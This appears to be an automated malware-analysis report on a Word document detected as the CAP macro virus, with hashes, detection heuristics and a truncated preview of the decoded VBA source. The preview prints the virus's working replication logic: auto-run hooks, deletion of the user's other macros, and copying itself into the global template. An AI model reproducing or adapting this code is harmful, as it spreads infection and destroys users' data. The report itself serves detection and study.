Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 af25da1b40e5abbc…

MALICIOUS

Office (OLE)

80.5 KB Created: 1997-09-26 23:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c6deb7a37efad067a819cfae498fa8c1 SHA-1: f50edc72858e4191680af804470f9c8f961e954e SHA-256: af25da1b40e5abbcdedb1cbf2db82740ce29d3a4193ff53fda620f53a3347d1c
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, specifically AutoOpen and AutoClose, which are commonly used to execute malicious code. The ClamAV detection as 'Doc.Trojan.Cap-2' further confirms its malicious nature. The embedded VBA code appears to call external functions like 'CAP.FSA', 'CAP.FC', 'CAP.S', 'CAP.FS', and 'CAP.FO', indicating an attempt to perform file operations or execute further stages of the attack.

Heuristics 5

  • ClamAV: Doc.Trojan.Cap-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cap-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24576 bytes
SHA-256: 6c61587f70f89949f7ee2de5faaf46c014973b120e7c70631d8942208c9642f2
Detection
ClamAV: Doc.Trojan.Cap-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileTemplates"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileTemplates.MAIN"
End Sub

Attribute VB_Name = "ToolsMacro"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%59"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ToolsMacro.MAIN"
End Sub

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%SA"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
On Error Resume Next
WordBasic.Call "CAP.FSA"
End Sub

Attribute VB_Name = "FileClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%C"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileClose.MAIN"
On Error Resume Next
WordBasic.Call "CAP.FC"
End Sub

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoClose.MAIN"
On Error Resume Next
WordBasic.Call "CAP.S", WordBasic.[FileName$]()
End Sub

Attribute VB_Name = "FileSave"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%S"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
On Error Resume Next
WordBasic.Call "CAP.FS"
End Sub

Attribute VB_Name = "FileOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%O"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileOpen.MAIN"
On Error Resume Next
WordBasic.Call "CAP.FO"
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
On Error Resume Next
WordBasic.Call "CAP.S", WordBasic.[FileName$]()
End Sub

Attribute VB_Name = "AutoExec"

Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExec.MAIN"
On Error Resume Next
WordBasic.DisableAutoMacros 0
WordBasic.Call "CAP.S", ""
End Sub

Attribute VB_Name = "CAP"

Dim M__$()
Public Sub MAIN()
Attribute MAIN.VB_Description = "F%"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.CAP.MAIN"
ReDim M__$(9)
'C.A.P: Un virus social.. y ahora digital..
'"j4cKy Qw3rTy" (jqw3rty@hotmail.com).
'Venezuela, Maracay, Dic 1996.
'P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
End Sub
Private Sub S(F$)
Dim S_$
Dim D$
Dim C$
Dim B$
Dim A$
Dim M_
Dim N
Dim T
Dim I
Dim J
Dim K
Dim D_ As Object
On Error Resume Next
S_$ = "F%"
D$ = "Macro"
C$ = "Close"
B$ = "Open"
A$ = "File"
M__$(0) = "CAP"
M__$(3) = A$ + C$
M__$(5) = A$ + "Save"
M__$(2) = A$ + B$
M__$(9) = A$ + "Templates"
A$ = "Auto"
M__$(6) = M__$(5) + "As"
M__$(1) = A$ + B$
M__$(8) = A$ + "Exec"
M__$(4) = A$ + C$
M__$(7) = "Tools" + D$
M_ = 0
N = 0
For T = 1 To 0 Step -1
For I = WordBasic.CountMacros(T) To 1 Step -1
B$ = WordBasic.[MacroName$](I, T)
If S_$ = WordBasic.[Left$](WordBasic.[MacroDesc$](B$), 2) Then
For J = 0 To 9
If B$ = M__$(J) Then
If T Then N = N + 1 Else M_ = M_ + 1
J = 9
End If
Next
Else
WordBasic.ToolsMacro Name:=B$, Show:=T + T + 1, Delete:=1
End If
Next
Next
If F$ <> "" Then
If M_ < 10 And N Then
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0, FastSaves:=1, AutoSave:=1, SaveInterval:="10"
For I = 0 To 9
If I <> 7 Then K = -1 Else K = 0
WordBasic.MacroCopy F$ + ":" + M__$(I), M__$(I), K
Next
B$ = S_$ + WordBasic.[LTrim$](Str(WordBasic.Val(Mid(WordBasic.[MacroDesc$](M__$(7)), 3)) + 1))
WordBasic.ToolsMacro Name:=M__$(7), Show:=1, Description:=B$, SetDesc:=1
A$ = WordBasic.[MenuText$](0, 1)
For I = WordBasic.CountMacros(1) To 1 Step -1
J = 0
B$ = WordBasic.[MacroName$](I, 1)
Select Case WordBasic.[MacroDesc$](B$)
Case S_$ + "O"
J = 2
Case S
... (truncated)

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